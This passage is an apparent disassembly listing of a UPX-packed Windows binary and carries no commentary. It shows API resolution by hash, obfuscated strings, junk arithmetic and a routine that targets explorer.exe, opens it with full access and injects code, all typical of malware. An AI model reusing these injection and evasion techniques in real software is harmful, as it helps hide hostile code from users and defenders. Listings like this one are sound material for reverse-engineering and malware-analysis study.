		and	ecx, 0Fh
		shl	ecx, 10h
		or	ecx, edx
		add	edi, ecx
		inc	eax
		inc	eax

loc_402714:				; CODE XREF: sub_4024C7+23Cj
		mov	ecx, [ebp+var_14]
		add	[edi], ecx
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_4026F9
		mov	esi, [ebp+var_10]
		mov	edx, dword_404104

loc_402729:				; CODE XREF: sub_4024C7+230j
		cmp	edx, 8
		jl	short loc_402735
		inc	edx
		mov	dword_404104, edx

loc_402735:				; CODE XREF: sub_4024C7+265j
		cmp	edx, 0C2h
		jle	short loc_402747
		mov	dword_404104, 17h

loc_402747:				; CODE XREF: sub_4024C7+274j
		sub	esi, [ebp+var_18]
		add	esi, [ebp+arg_0]
		cmp	[ebp+arg_8], ebx
		mov	edi, esi
		jnz	short loc_4027AB
		push	0E61874B3h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		push	ebx
		push	ebx
		push	edi
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		call	eax
		push	723EB0D5h
		push	1
		mov	edi, eax
		call	sub_401117
		pop	ecx
		pop	ecx
		push	edi
		call	eax
		cmp	dword_404104, 0Ch
		mov	[ebp+var_1], 1
		jl	short loc_402793
		inc	dword_404104

loc_402793:				; CODE XREF: sub_4024C7+2C4j
		cmp	dword_404104, 0D4h
		jle	short loc_402818
		mov	dword_404104, 20h
		jmp	short loc_402818
; ---------------------------------------------------------------------------

loc_4027AB:				; CODE XREF: sub_4024C7+28Bj
		push	0AA1DE02Fh
		push	1
		mov	[ebp+var_310], 10002h
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_310]
		push	ecx
		push	[ebp+arg_8]
		call	eax
		push	0AA1DC82Fh
		push	1
		mov	[ebp+var_260], edi
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_310]
		push	ecx
		push	[ebp+arg_8]
		call	eax
		cmp	dword_404104, 0Ah
		mov	[ebp+var_1], 1
		jl	short loc_402802
		inc	dword_404104

loc_402802:				; CODE XREF: sub_4024C7+333j
		cmp	dword_404104, 97h
		jle	short loc_402818
		mov	dword_404104, 16h

loc_402818:				; CODE XREF: sub_4024C7+2D6j
					; sub_4024C7+2E2j ...
		push	77CD9567h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	eax

loc_40282B:				; CODE XREF: sub_4024C7+BCj
		push	723EB0D5h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	[ebp+var_C]
		call	eax
		cmp	dword_404104, 2
		jl	short loc_40284D
		inc	dword_404104

loc_40284D:				; CODE XREF: sub_4024C7+37Ej
		cmp	dword_404104, 0BCh
		jle	short loc_402863
		mov	dword_404104, 1Eh

loc_402863:				; CODE XREF: sub_4024C7+390j
		mov	al, [ebp+var_1]

loc_402866:				; CODE XREF: sub_4024C7+9Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4024C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40286B	proc near		; DATA XREF: sub_4029EF+12Fo
					; sub_4029EF+2DDo

var_14C		= byte ptr -14Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	3D9972F5h
		inc	ebx
		push	ebx
		call	sub_401117
		pop	ecx
		pop	ecx
		push	7D0h
		call	eax
		cmp	dword_404104, 8Dh
		jge	short loc_40289F
		inc	dword_404104

loc_40289F:				; CODE XREF: sub_40286B+2Cj
		push	esi
		push	6FB89AF0h
		xor	edi, edi
		push	ebx
		mov	[ebp+var_4], edi
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	edi
		push	edi
		push	offset sub_40246F
		push	edi
		push	edi
		call	eax
		push	723EB0D5h
		push	ebx
		mov	esi, eax
		call	sub_401117
		pop	ecx
		pop	ecx
		push	esi
		call	eax
		push	49A1374Ah
		push	ebx
		call	sub_401117
		pop	ecx
		pop	ecx
		push	104h
		lea	ecx, [ebp+var_14C]
		push	ecx
		call	eax
		push	0Ch
		mov	esi, offset dword_404108
		push	esi
		push	offset aFNHfSmM	; "ÑFÄNËHFÅèMÃM"
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_40300C	; lstrcat
		push	19h
		pop	eax
		push	0FFFFFFCAh
		pop	ecx

loc_402917:				; CODE XREF: sub_40286B+C1j
		cmp	ecx, 9Ah
		ja	short loc_402921
		inc	eax
		inc	ecx

loc_402921:				; CODE XREF: sub_40286B+B2j
		add	eax, 16h
		add	ecx, 16h
		cmp	eax, 0B4h
		jl	short loc_402917
		push	40h
		lea	eax, [ebp+var_44]
		push	edi
		push	eax
		mov	[ebp+var_48], 44h
		call	sub_4010BB
		add	esp, 0Ch
		push	5
		pop	eax
		push	0FFFFFFDAh
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_18], ax
		pop	ecx

loc_402951:				; CODE XREF: sub_40286B+FBj
		cmp	ecx, 0AEh
		ja	short loc_40295B
		inc	eax
		inc	ecx

loc_40295B:				; CODE XREF: sub_40286B+ECj
		add	eax, 0Fh
		add	ecx, 0Fh
		cmp	eax, 86h
		jl	short loc_402951
		push	46318AC7h
		push	ebx
		mov	dword_404104, eax
		call	sub_401117
		pop	ecx
		pop	ecx
		push	offset dword_40420C
		lea	ecx, [ebp+var_48]
		push	ecx
		push	edi
		push	edi
		push	4
		push	edi
		push	edi
		push	edi
		lea	ecx, [ebp+var_14C]
		push	ecx
		push	edi
		call	eax
		push	dword_404210
		push	dword_40420C
		push	offset sub_401C5C
		call	sub_4024C7
		add	esp, 0Ch
		test	al, al
		jz	short loc_4029C7
		mov	esi, dword_404210
		push	7B88BF3Bh
		push	ebx
		call	sub_401117
		pop	ecx
		pop	ecx
		push	esi
		call	eax

loc_4029C7:				; CODE XREF: sub_40286B+144j
		cmp	dword_404104, 7Dh
		pop	esi
		jge	short loc_4029D7
		inc	dword_404104

loc_4029D7:				; CODE XREF: sub_40286B+164j
		push	768AA260h
		push	ebx
		call	sub_401117
		pop	ecx
		pop	ecx
		push	edi
		call	eax
		pop	edi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40286B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029EF	proc near		; CODE XREF: start+1BCj

var_13C		= byte ptr -13Ch
var_13B		= byte ptr -13Bh
var_38		= byte ptr -38h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_13C]
		push	edi
		mov	[ebp+var_4], eax
		call	sub_401304
		xor	ebx, ebx
		test	al, al
		jz	loc_402CFE
		push	3
		pop	eax
		push	0FFFFFFD2h
		pop	ecx

loc_402A19:				; CODE XREF: sub_4029EF+3Fj
		cmp	ecx, 0BDh
		ja	short loc_402A23
		inc	eax
		inc	ecx

loc_402A23:				; CODE XREF: sub_4029EF+30j
		add	eax, 2Eh
		add	ecx, 2Eh
		cmp	eax, 0AEh
		jl	short loc_402A19
		mov	edi, 774393E8h
		push	edi
		push	1
		mov	dword_404104, eax
		call	sub_401117
		pop	ecx
		pop	ecx
		mov	esi, 104h
		push	esi
		lea	ecx, [ebp+var_13C]
		push	ecx
		push	ebx
		call	eax
		xor	ecx, ecx
		cmp	eax, ebx
		jz	short loc_402A6F

loc_402A5A:				; CODE XREF: sub_4029EF+7Ej
		lea	edx, [ebp+ecx+var_13B]
		cmp	byte ptr [edx-1], 5Ch
		jnz	short loc_402A6A
		mov	[ebp+var_4], edx

loc_402A6A:				; CODE XREF: sub_4029EF+76j
		inc	ecx
		cmp	ecx, eax
		jnz	short loc_402A5A

loc_402A6F:				; CODE XREF: sub_4029EF+69j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, 20202020h
		or	edx, eax
		cmp	edx, 6C707865h
		jnz	loc_402B55
		mov	edx, [ecx+4]
		or	edx, eax
		cmp	edx, 7265726Fh
		jnz	loc_402B55
		mov	ecx, [ecx+8]
		or	ecx, eax
		cmp	ecx, 6578652Eh
		jnz	loc_402B55
		mov	eax, [ebp+arg_4]
		dec	eax
		jnz	loc_402B4E
		push	8
		pop	ecx
		push	0Ch
		mov	esi, offset dword_404108
		xor	eax, eax
		push	esi
		lea	edi, [ebp+var_38]
		push	offset aMHMSmM	; "MÃÇÉHÆMÆèMÃM"
		rep stosd
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_403000	; lstrcpy
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4014AE
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		jz	short loc_402B4E
		cmp	dword_404104, 9Ch
		jge	short loc_402AFF
		inc	dword_404104

loc_402AFF:				; CODE XREF: sub_4029EF+108j
		push	99A4299Dh
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	esi
		push	ebx
		push	1F0FFFh
		call	eax
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_402B4E
		push	ebx
		push	esi
		push	offset sub_40286B
		call	sub_4024C7
		add	esp, 0Ch
		cmp	dword_404104, 0CBh
		jge	short loc_402B3D
		inc	dword_404104

loc_402B3D:				; CODE XREF: sub_4029EF+146j
		push	723EB0D5h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	esi
		call	eax

loc_402B4E:				; CODE XREF: sub_4029EF+BEj
					; sub_4029EF+FCj ...
		xor	eax, eax
		jmp	loc_402D23
; ---------------------------------------------------------------------------

loc_402B55:				; CODE XREF: sub_4029EF+92j
					; sub_4029EF+A3j ...
		push	edi
		xor	edi, edi
		inc	edi
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		push	esi
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	ebx
		call	eax
		push	0D89AD05h
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		call	eax
		cmp	dword_404104, 0D4h
		mov	esi, eax
		jge	short loc_402B8D
		inc	dword_404104

loc_402B8D:				; CODE XREF: sub_4029EF+196j
		push	80DBBE07h
		push	6
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+arg_4]
		push	ecx
		push	20h
		push	esi
		call	eax
		test	eax, eax
		mov	esi, offset dword_404108
		jz	loc_402C54
		push	10h
		push	esi
		push	offset aVmMElKKMlm ; "VMÝMÎELׯKÄKÉMLM"
		call	sub_40102E
		push	1B3D12B9h
		push	6
		call	sub_401117
		add	esp, 14h
		lea	ecx, [ebp+var_8]
		push	ecx
		push	esi
		push	ebx
		call	eax
		test	eax, eax
		jz	short loc_402C54
		push	31h
		pop	eax
		or	ecx, 0FFFFFFFFh

loc_402BDF:				; CODE XREF: sub_4029EF+203j
		cmp	ecx, 0A8h
		ja	short loc_402BE9
		inc	eax
		inc	ecx

loc_402BE9:				; CODE XREF: sub_4029EF+1F6j
		add	eax, 2Dh
		add	ecx, 2Dh
		cmp	eax, 78h
		jl	short loc_402BDF
		mov	dword_404104, eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_4]
		push	7A2167DCh
		mov	[ebp+var_18], edi
		mov	edi, [ebp+arg_4]
		push	6
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 2
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	ebx
		push	edi
		call	eax
		mov	edi, [ebp+arg_4]
		push	723EB0D5h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	edi
		call	eax
		mov	eax, dword_404104
		add	eax, 0FFFFFFB3h
		cmp	eax, 99h
		ja	short loc_402C54
		inc	dword_404104

loc_402C54:				; CODE XREF: sub_4029EF+1BCj
					; sub_4029EF+1E8j ...
		cmp	dword_404104, 0C7h
		jge	short loc_402C66
		inc	dword_404104

loc_402C66:				; CODE XREF: sub_4029EF+26Fj
		push	8
		pop	ecx
		push	0Ch
		xor	eax, eax
		push	esi
		lea	edi, [ebp+var_38]
		push	offset aMHMSmM	; "MÃÇÉHÆMÆèMÃM"
		rep stosd
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_403000	; lstrcpy
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4014AE
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		jz	short loc_402D03
		cmp	dword_404104, 9Ch
		jge	short loc_402CAD
		inc	dword_404104

loc_402CAD:				; CODE XREF: sub_4029EF+2B6j
		push	99A4299Dh
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	esi
		push	ebx
		push	1F0FFFh
		call	eax
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_402D03
		push	ebx
		push	esi
		push	offset sub_40286B
		call	sub_4024C7
		add	esp, 0Ch
		cmp	dword_404104, 0CBh
		jge	short loc_402CEB
		inc	dword_404104

loc_402CEB:				; CODE XREF: sub_4029EF+2F4j
		push	723EB0D5h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	esi
		call	eax
		jmp	short loc_402D03
; ---------------------------------------------------------------------------

loc_402CFE:				; CODE XREF: sub_4029EF+1Ej
		call	sub_401C5C

loc_402D03:				; CODE XREF: sub_4029EF+2AAj
					; sub_4029EF+2D9j ...
		cmp	dword_404104, 66h
		jge	short loc_402D12
		inc	dword_404104

loc_402D12:				; CODE XREF: sub_4029EF+31Bj
		push	95902B19h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		call	eax

loc_402D23:				; CODE XREF: sub_4029EF+161j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_4029EF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402D30	proc near		; CODE XREF: sub_4014AE+8p
		push	ecx
		lea	ecx, [esp+4]
		sub	ecx, eax
		sbb	eax, eax
		not	eax
		and	ecx, eax
		mov	eax, esp
		and	eax, 0FFFFF000h

loc_402D44:				; CODE XREF: sub_402D30+29j
		cmp	ecx, eax
		jb	short loc_402D52
		mov	eax, ecx
		pop	ecx
		xchg	eax, esp
		mov	eax, [eax]
		mov	[esp+0], eax
		retn
; ---------------------------------------------------------------------------

loc_402D52:				; CODE XREF: sub_402D30+16j
		sub	eax, 1000h
		test	[eax], eax
		jmp	short loc_402D44
sub_402D30	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0A9h	dup(0)
dword_403000	dd 77E73167h		; DATA XREF: sub_4014AE+299r
					; sub_401C5C+12Cr ...
dword_403004	dd 77E76A2Eh		; DATA XREF: sub_4014AE+1DDr
					; sub_4014AE+25Er ...
dword_403008	dd 77E74672h		; DATA XREF: sub_4014AE+157r
					; sub_4014AE+1A3r
dword_40300C	dd 77E74155h		; DATA XREF: sub_4014AE+2B7r
					; sub_4017D5+80r ...
		dd 0
dword_403014	dd 77D4C96Ah		; DATA XREF: sub_401C5C+104r
					; sub_401C5C+649r ...
		dd 0
; ---------------------------------------------------------------------------

loc_40301C:				; DATA XREF: sub_401117+A9o
		inc	esi
		retf
; ---------------------------------------------------------------------------
		dw 0C94Dh
		dd 0E8E666C9h, 0C9C9CDh
dword_403028	dd 49C9C645h, 0CDE8C848h, 0C9C9h ; DATA	XREF: sub_401117+9Ao
dword_403034	dd 4BC84B44h, 0E8C54DC8h, 0C9C9CDh ; DATA XREF:	sub_401117+8Bo
					; sub_401C5C+14o
dword_403040	dd 0C74F46C7h, 0C9CDE84Bh, 0C9h	; DATA XREF: sub_401117+7Co
dword_40304C	dd 4FC4CD4Fh, 0E6664BC7h, 0C9C9CDE8h, 0	; DATA XREF: sub_401117+6Do
dword_40305C	dd 46C64DC4h, 0E8C8484Bh, 0C9C9CDh ; DATA XREF:	sub_401117+47o
; ---------------------------------------------------------------------------

loc_403068:				; DATA XREF: sub_4014AE+2A2o
		rol	byte ptr [eax],	0

loc_40306B:				; DATA XREF: sub_4014AE+222o
		add	[esi-3Ch], al
		dec	esi
		retf
; ---------------------------------------------------------------------------
		dd 0E8C54648h, 4DC34Dh
dword_403078	dd 67C64DC4h, 63h	; DATA XREF: sub_4017D5+6Bo
dword_403080	dd 61CD4BECh, 0		; DATA XREF: sub_401C5C+7ABo
dword_403088	dd 0CD484EECh, 61E64Dh	; DATA XREF: sub_401C5C+6DCo
dword_403090	dd 456Dh		; DATA XREF: sub_401C5C+62Fo
aJcnHSOAoFcdNhM	db 'JCNÉÅÎHÅÂèÇËÇ`OÍÄaOÍÄäcdìNHÍMga',0 ; DATA XREF: sub_401C5C+5E4o
aIDDmmhhc	db 'IÊDÆDMMHHC',0       ; DATA XREF: sub_401C5C+54Do
		align 10h
aDIIeS		db 'ÄDÊÆIÆIEÆèÇËÇ',0    ; DATA XREF: sub_401C5C+4DEo
		align 10h
aJjFhOjs	db 'JJÉÇÃFHÊOJèÇËÇ',0   ; DATA XREF: sub_401C5C+472o
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 4Ah,	0C7h, 4Ch
; ---------------------------------------------------------------------------
		dec	eax
		retf	0E8C3h
; ---------------------------------------------------------------------------
		dd 0C7CBC7h
dword_4030EC	dd 464ACC46h, 48464D4Bh, 0CBC7E843h, 0C7h ; DATA XREF: sub_401C5C+39Ao
dword_4030FC	dd 0C7CC49C5h, 0C7E84949h, 0C7CBh ; DATA XREF: sub_401C5C+32Eo
dword_403108	dd 44CC4FCDh, 4B4Dh	; DATA XREF: sub_401C5C+2D4o
dword_403110	dd 0E24Eh		; DATA XREF: sub_401C5C+292o
					; sub_401C5C+35Do ...
aEignIsOAoFcd	db 'ÇÍEIGNÂIèÇËÇ`OÍÄaOÍÄäcd',0 ; DATA XREF: sub_401C5C+260o
aNt		db 'NâÑ',0              ; DATA XREF: sub_401C5C+229o
					; sub_401C5C+598o
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
aThhcFIOsKHHlfh	db 'ÅÅÇâhhCÌFÈÂIÍÇÅOèÎKÂhÇÆHLFhJÄHÉËÆh',0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aThhcCgGnlsJhHl	db 'ÅÅÇâhhCÌÃCGËÎGNLèËJhÇÆHLFhJÄHÉËÆh',0
		align 4
aCSmM		db 'ÑÊÌÌCÄèMÃM',0       ; DATA XREF: sub_401C5C+1C4o
		align 4

loc_403184:				; DATA XREF: sub_401C5C+1AAo
		ror	dword ptr [ecx-35h], 1
		dec	edx
		inc	esi
		retn
; ---------------------------------------------------------------------------
		dw 4DC4h
		dd 0C34DE84Dh, 4Dh
dword_403194	dd 0C84A4FD1h, 0CD4DCECCh, 0C34DE84Dh, 4Dh ; DATA XREF:	sub_401C5C+190o
dword_4031A4	dd 0CDC6C6D1h, 46C94EC3h, 4DC34DE8h, 0 ; DATA XREF: sub_401C5C+176o
dword_4031B4	dd 0C5C64ED1h, 0C34DE8CAh, 4Dh ; DATA XREF: sub_401C5C+15Co
dword_4031C0	dd 4ECCC7D1h, 4BC3C8CCh, 0C34DE84Fh, 4Dh ; DATA	XREF: sub_401C5C+142o
dword_4031D0	dd 4A4DCBD1h, 4DE8CAC5h, 4DC3h ; DATA XREF: sub_401C5C+122o
dword_4031DC	dd 0CD6Dh		; DATA XREF: sub_401C5C+F2o
dword_4031E0	dd 0D1E25Eh		; DATA XREF: sub_401C5C+C4o
dword_4031E4	dd 0C8C64D4Ah, 0E666C94Dh, 0C9C9CDE8h, 0 ; DATA	XREF: sub_401C5C+50o
dword_4031F4	dd 0C64D4645h, 0CDE8E666h, 0C9C9h ; DATA XREF: sub_401C5C+36o
aVmMElKKMlm	db 'VMÝMÎELׯKÄKÉMLM',0 ; DATA XREF: sub_4029EF+1C5o
		align 4
aS		db 'ÈÅÍÉÉèÍÉÉ',0        ; DATA XREF: sub_4024C7+10Ao
		align 10h
aYoKmdxVmnKh	db 'ØÅYOÇÔKMDXÌVMNÅKHÈ',0 ; DATA XREF: sub_4024C7+EFo
		align 4
aFNHfSmM	db 'ÑFÄNËHFÅèMÃM',0     ; DATA XREF: sub_40286B+8Bo
		align 4
aMHMSmM		db 'MÃÇÉHÆMÆèMÃM',0     ; DATA XREF: sub_4029EF+D4o
					; sub_4029EF+282o
		align 4
		dd 36Bh	dup(0)
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_40246F+Fo
					; sub_4029EF+173o
		align 4
		dd 3Ah dup(0)
dword_404104	dd 92h			; DATA XREF: sub_401117+3r
					; sub_401117+15w ...
dword_404108	dd 6C64746Eh, 6C642E6Ch, 6Ch, 3Dh dup(0) ; DATA	XREF: sub_401117+41o
					; sub_401117+67o ...
byte_404208	db 1			; DATA XREF: sub_401304+34r
					; sub_401304+74w
byte_404209	db 1			; DATA XREF: sub_401304+26r
					; sub_401304+42w
		align 4
dword_40420C	dd 0			; DATA XREF: sub_40286B+10Fo
					; sub_40286B+12Fr
dword_404210	dd 0			; DATA XREF: sub_40286B+129r
					; sub_40286B+146r
		align 2000h
UPX0		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00006000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 406000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_406000	dd 58h,	2000h, 74736C01h, 79706372h, 6C010041h,	63727473h
					; DATA XREF: start+1o
		dd 4169706Dh, 736C0100h, 656C7274h, 100416Eh, 7274736Ch
		dd 41746163h, 650000h, 20140000h, 77010000h, 69727073h
		dd 4166746Eh, 0
		dd 1FF00000h, 62B1301h,	6090620h, 6090609h, 0F0D0609h
		dd 11231E11h, 37375D21h, 2B0F0706h, 0C060806h, 931100Fh
		dd 0C060930h, 10454864h, 600C1816h, 0A4C2510h, 150C0609h
		dd 0C06091Dh, 28133D0Ch, 13651608h, 16063C20h, 0C060C06h
		dd 0C060C43h, 0C411054h, 94F927Dh, 102D0C06h, 0C060959h
		dd 2206753Fh, 609181Ah,	2905410Ch, 80C0913h, 1A1A150Bh
		dd 331A1A1Ah, 371A0A0Eh, 2F5A4232h, 323A323Dh, 353A323Ah
		dd 10344B3Ah, 15064B08h, 2C381545h, 91B1909h, 2E1D0C06h
		dd 702B1339h, 4E1A1E16h, 0B0C0609h, 34081306h, 3709330Ch
		dd 443F110Ch, 0D430E0Ch, 0D500C06h, 9300C06h, 0C340C06h
		dd 1606381Eh, 61B0C62h,	0A161205h, 150B8066h, 0E240C16h
		dd 0E182A0Ch, 4B400E1Eh, 100C0610h, 240C1615h, 91E0C0Eh
		dd 455000h, 4014C00h, 44A58600h, 46h, 0
		dd 200E000h, 8010B01h, 1E0000h,	0C0000h, 0
		dd 29EF00h, 100000h, 300000h, 40000000h, 100000h, 20000h
		dd 400h, 0
		dd 400h, 0
		dd 600000h, 40000h, 0
		dd 200h, 10000004h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 325400h, 3C00h, 6 dup(0)
		dd 500000h, 1EC00h, 0Ch	dup(0)
		dd 300000h, 1C00h, 6 dup(0)
		dd 65742E00h, 7478h, 1D5B00h, 100000h, 1E0000h,	40000h
		dd 3 dup(0)
		dd 2000h, 64722E60h, 617461h, 30200h, 300000h, 40000h
		dd 220000h, 3 dup(0)
		dd 4000h, 61642E40h, 6174h, 21C00h, 400000h, 5 dup(0)
		dd 4000h, 65722EC0h, 636F6Ch, 22A00h, 500000h, 40000h
		dd 260000h, 3 dup(0)
		dd 4000h, 500042h, 32AC00h, 504A00h, 51390000h,	7C600000h
		dd 208DFBFh, 83C0940Fh,	0A20F403Dh, 0CD527C3Fh,	81D8C3F7h
		dd 0A55F613h, 1E0B05C7h, 183C60C9h, 8651851Fh, 83A23DACh
		dd 34BC6EDBh, 0FF337B53h, 8B347h, 5017B0F7h, 0BEBE917Ah
		dd 99A4299Dh, 6025758Fh, 8BB6FECFh, 0D88B7357h,	3974DB85h
		dd 397D4B6Fh, 0FD87F37Fh, 0C9438568h, 4D8D28FDh, 755351FCh
		dd 0A84268FCh, 0B3B09E6Fh, 561661DDh, 385FEB13h, 9981A30Eh
		dd 15DDB901h, 66D60E73h, 74006AEEh, 6A167A48h, 0B0DF0AFFh
		dd 0D5684BEFh, 28723EB0h, 99E2035Bh, 2DD859A4h,	85FE6B53h
		dd 0ECC22C17h, 6CF8025Bh, 682FEB7Ch, 0B08F0834h, 105B39B5h
		dd 5E1318B8h, 0F859A499h, 1F6A2C1Dh, 27BC12ADh,	7910DF0Ah
		dd 21AE3D27h, 4393E868h, 0E1739B77h, 0BB47C0EBh, 0E89553B9h
		dd 0DF849DFCh, 9B9AAF35h, 6A8AC490h, 51F40F05h,	2DAE8456h
		dd 21221050h, 79A7B7ECh, 6085CA10h, 0EC850287h,	0DDEEC43Dh
		dd 0F7D6011Fh, 0FF4BF445h, 2561860Fh, 0A71DDFB6h, 8BB092BFh
		dd 853F85B4h, 24383CF6h, 3A609CC1h, 381B8593h, 0DAF3ACCh
		dd 10684B6Fh, 0DD4A95B2h, 538F0004h, 0FE3C41BAh, 0E049DB77h
		dd 755D5056h, 0CDD47F8h, 0DA16C968h, 9FD80DB6h,	0C2ECAC18h
		dd 0A6F00504h, 0D67927ACh, 1B8A920h, 0B3CC3DDDh, 0FFB243Ch
		dd 9168F075h, 3CE4FB21h, 0EB3EFE03h, 3B56D63Ah,	845358Bh
		dd 0D6FF5077h, 0F9BBBD8Ch, 0BD806D4Ah, 0F3A10E9h, 0EA0C6085h
		dd 0D2CCC9FFh, 8B2A535Ch, 4E01EBF0h, 0B835BC80h, 0E7F1DBDh
		dd 5F5755Ch, 424B15FFh,	0E4854D7Eh, 140CE42h, 0F6376EE8h
		dd 848D31DDh, 39506735h, 0F0857C04h, 22BB6718h,	8084460Fh
		dd 0F4CCC07h, 2172034Fh, 0BBF17BFh, 81E4FF21h, 76C7157h
		dd 6A8A94F7h, 0D984E907h, 51E82885h, 0E485D6F4h, 0DD33364Fh
		dd 80CEFCC7h, 37577374h, 93647869h, 0FFD66074h,	6F90DB51h
		dd 59990376h, 7FFD3A33h, 0F358101h, 2AB96823h, 5CE61D57h
		dd 680CFE12h, 20E4E9EDh, 921A8BF4h, 58C59213h, 0F7961DF4h
		dd 5B1A06F6h, 2E8C100h,	820F0539h, 92652EA4h, 496A6366h
		dd 2DA108F2h, 0E4462935h, 0E8A83D2Dh, 0C1EDE026h, 87CD0F8h
		dd 0DB33530Ch, 0B73DC227h, 46DFC65Ah, 0EC02FC94h, 0D0E045C7h
		dd 0E8DC1C07h, 4A295068h, 8477567Ch, 7FF842F7h,	816853B2h
		dd 6A0534D4h, 0E8758903h, 0BC68C540h, 493322DEh, 80E490ECh
		dd 8478EF8Ch, 0B085C8F7h, 7008B29Dh, 0C9A3B5E4h, 250CEDFAh
		dd 3DD768B4h, 4B210859h, 7330FFh, 0BD661668h, 1557B87Dh
		dd 23F6B3F4h, 75651C60h, 0CD601BF4h, 5A60215h, 68144832h
		dd 0F61D2CB6h, 1AD09C78h, 0E037575Dh, 908E4002h, 6182C01h
		dd 20F20305h, 3DF95D45h, 0C30368C3h, 0E027F86Eh, 58572F5Ch
		dd 0A6FC7D89h, 0BA107E5Ah, 2168A1A7h, 8DECCD20h, 58FBFF88h
		dd 0D5D0B85Fh, 6F8FDEBEh, 12F870Fh, 7E49E1Ah, 0F114A872h
		dd 685308F8h, 0A15B2C80h, 53571BEDh, 404868B0h,	0C34E180Ch
		dd 0F0F056B6h, 96D0FBABh, 0AE27DA10h, 0B0212962h, 0FC687FADh
		dd 4556C34Eh, 2A6A7EFBh, 2F12DEC5h, 95D43CD1h, 0BEC05AC1h
		dd 658165BDh, 19191624h, 3BED7F74h, 0EB3D18FEh,	74CB3A64h
		dd 0C368EA65h, 850F3FD1h, 6D977593h, 0D8D0DC69h, 0F052DC48h
		dd 730D85BDh, 93828588h, 846D75BEh, 39808385h, 6A977720h
		dd 9A499658h, 89FAFF05h, 85B1919h, 0B86E5904h, 7EEFFD6Fh
		dd 0C052EB1Bh, 3FE3DFEh, 5D880930h, 3A04EB10h, 332874C3h
		dd 769B0581h, 0C8C06F26h, 0D4C67185h, 9629062Ch, 0CFD2A40h
		dd 14FB0C1Ah, 0CBE183FCh, 211D908h, 0B59A3DCAh,	0A4814A16h
		dd 1B63D77h, 791F8790h,	0CBF16880h, 0F052AEF7h,	0D8B3096Ch
		dd 0EA69ECD4h, 0D2D9C85Ch, 5B0E4F7h, 0C0FFC5D0h, 55252180h
		dd 0DC553BECh, 0B75D0F74h, 0E40ABF0Ah, 38097D05h, 0FCB0D714h
		dd 6C854E27h, 59342EB5h, 83BB290Bh, 93C96850h, 8C044BA8h
		dd 0B446EEF1h, 743A51EBh, 9FC28149h, 0C2ADDCFAh, 6A3B77FFh
